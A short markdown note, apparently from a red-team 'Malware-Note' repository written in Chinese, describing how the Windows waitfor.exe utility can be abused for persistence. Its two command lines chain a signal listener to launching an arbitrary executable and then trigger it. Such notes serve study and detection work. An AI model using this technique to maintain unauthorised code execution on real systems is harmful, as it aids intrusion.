Malware-Note/persistence/uncatelogued/waitfor.md

656 B
Raw Permalink Blame History

Waitfor

是存在于Windows上用来同步网络中计算机可以发送或等待系统上的信号的程序默认位置在“C:\Windows\System32\waitfor.exe”

#Target computer
waitfor persist && C:\Temp\qwqdanchun.exe
#Use this to trigger
waitfor /s 127.0.0.1 /si persist

参考文章:

{% embed url="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731613(v=ws.11)?redirectedfrom=MSDN" caption="" %}

{% embed url="https://github.com/3gstudent/Waitfor-Persistence" caption="" %}

{% embed url="https://twitter.com/danielhbohannon/status/872258924078092288" caption="" %}